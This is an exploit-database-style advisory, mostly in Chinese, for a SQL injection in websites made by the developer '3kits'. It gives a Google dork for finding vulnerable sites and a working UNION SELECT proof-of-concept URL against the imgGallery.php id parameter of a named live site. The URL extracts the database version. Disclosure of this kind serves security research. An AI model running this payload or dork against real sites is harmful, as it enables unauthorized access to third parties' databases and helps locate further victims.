Exploit Title: 3kits - SQL 注入漏洞

Google Dork: “Designed & Developed by 3kits”

日期: 2025-11-02

漏洞作者: Hossein_0xB

类别: Web应用

测试环境: Windows 10

CVE: 暂无

概念验证:

演示：

https://hyderabadrealtors.org/imgGallery.php?id=-3 union select 1,version(),3,4

发现者: Hossein_0xB

邮箱: dastkherd.makoraan@gmail.com

参考链接:

• https://www.3kits.com/ （供应商网站，如果可用）
• https://owasp.org/www-community/attacks/SQL_Injection